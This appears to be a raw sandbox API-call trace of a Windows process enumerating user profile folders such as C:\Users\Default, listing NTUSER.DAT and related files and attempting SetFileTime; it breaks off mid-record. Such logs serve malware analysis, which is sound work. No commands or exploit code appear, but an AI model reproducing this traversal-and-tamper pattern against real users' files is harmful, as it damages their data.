[0092.845] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Templates" (normalized: "c:\\users\\all users\\templates"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.845] CreateFileW (lpFileName="C:\\Users\\All Users\\Templates" (normalized: "c:\\users\\all users\\templates"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0092.845] GetLastError () returned 0x5 [0092.845] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0092.845] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0092.845] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0092.846] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.846] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Templates\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0xffffffff [0092.846] GetLastError () returned 0x5 [0092.846] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Templates\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0xffffffff [0092.846] GetLastError () returned 0x5 [0092.846] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.847] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0092.847] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0092.847] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="")) returned 0 [0092.847] GetLastError () returned 0x12 [0092.847] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0092.847] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0092.848] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efd60) returned 1 [0092.848] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0092.848] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x62fa4a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0092.848] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0092.848] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default" (normalized: "c:\\users\\default"), fInfoLevelId=0x0, lpFileInformation=0x119f678 | out: lpFileInformation=0x119f678*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x62fa4a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0092.848] CreateFileW (lpFileName="C:\\Users\\Default" (normalized: "c:\\users\\default"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0092.849] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119f6bc, lpLastWriteTime=0x119f6bc) returned 0 [0092.849] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x126d560 [0092.849] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x126d560, nOutBufferSize=0x4000, lpBytesReturned=0x119f714, lpOverlapped=0x0 | out: lpOutBuffer=0x126d560, lpBytesReturned=0x119f714, lpOverlapped=0x0) returned 0 [0092.849] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x126d560) returned 1 [0092.849] NtClose (Handle=0x164) returned 0x0 [0092.850] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0092.850] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0092.850] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efd60 [0092.850] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0092.850] FindFirstFileExW (in: lpFileName="C:\\Users\\Default\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e9080 [0092.850] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x62fa4a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.851] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0092.851] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306dce32, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306dce32, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306dce32, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="")) returned 1 [0092.851] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6392a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Contacts", cAlternateFileName="")) returned 1 [0092.851] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306dce32, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306dce32, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306dce32, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0092.851] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0092.851] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd890148c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="")) returned 1 [0092.851] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88db32b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="")) returned 1 [0092.851] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="")) returned 1 [0092.851] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0092.851] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="")) returned 1 [0092.851] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0092.851] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="")) returned 1 [0092.851] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306dce32, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306dce32, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306dce32, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1 [0092.851] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x9012aa61, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x6770de0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x6770de0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xc0000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1 [0092.851] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0092.852] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0092.852] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0092.852] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0092.852] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0092.852] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9478 [0092.853] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0092.853] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0092.853] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xc103692e, ftCreationTime.dwHighDateTime=0x1ca0451, ftLastAccessTime.dwLowDateTime=0x1dd1880d, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x1dd1880d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT.LOG", cAlternateFileName="")) returned 1 [0092.853] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0092.854] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0092.854] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0092.854] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0092.854] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0092.854] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9498 [0092.855] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.855] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0092.855] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x9012aa61, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x9012aa61, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x674ac80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x2e400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT.LOG1", cAlternateFileName="")) returned 1 [0092.855] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0092.856] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0092.856] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0092.856] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0092.856] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0092.857] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f94b8 [0092.857] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcd08 [0092.857] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x9f00) returned 0x1386570 [0092.857] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x9012aa61, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x9012aa61, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x9012aa61, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT.LOG2", cAlternateFileName="")) returned 1 [0092.857] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0092.858] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0092.858] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0092.858] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0092.858] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0092.858] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f94d8 [0092.859] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcd90 [0092.859] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0092.859] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf8d30919, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf8d30919, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf8ead6dc, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", cAlternateFileName="")) returned 1 [0092.859] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0092.860] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0092.860] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0092.860] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0092.860] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0092.861] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1340e10 [0092.861] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efd60) returned 1 [0092.861] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f94f8 [0092.861] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368ec8 [0092.862] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0092.862] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf8da2d3a, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf8da2d3a, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf8e8757c, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="")) returned 1 [0092.862] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368268 [0092.862] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0092.862] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0092.863] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0092.863] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0092.863] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0092.863] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0092.864] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9518 [0092.864] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136e358 [0092.864] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0092.864] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf8deeffb, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf8deeffb, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf8ead6dc, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="")) returned 1 [0092.864] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0092.865] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0092.865] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0092.865] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0092.865] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0092.866] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9538 [0092.866] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136f2d0 [0092.866] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0092.866] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.ini", cAlternateFileName="")) returned 1 [0092.867] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0092.867] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0092.867] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0092.868] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0092.868] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0092.868] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9558 [0092.868] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0092.869] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0092.869] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0092.869] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="")) returned 1 [0092.869] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, 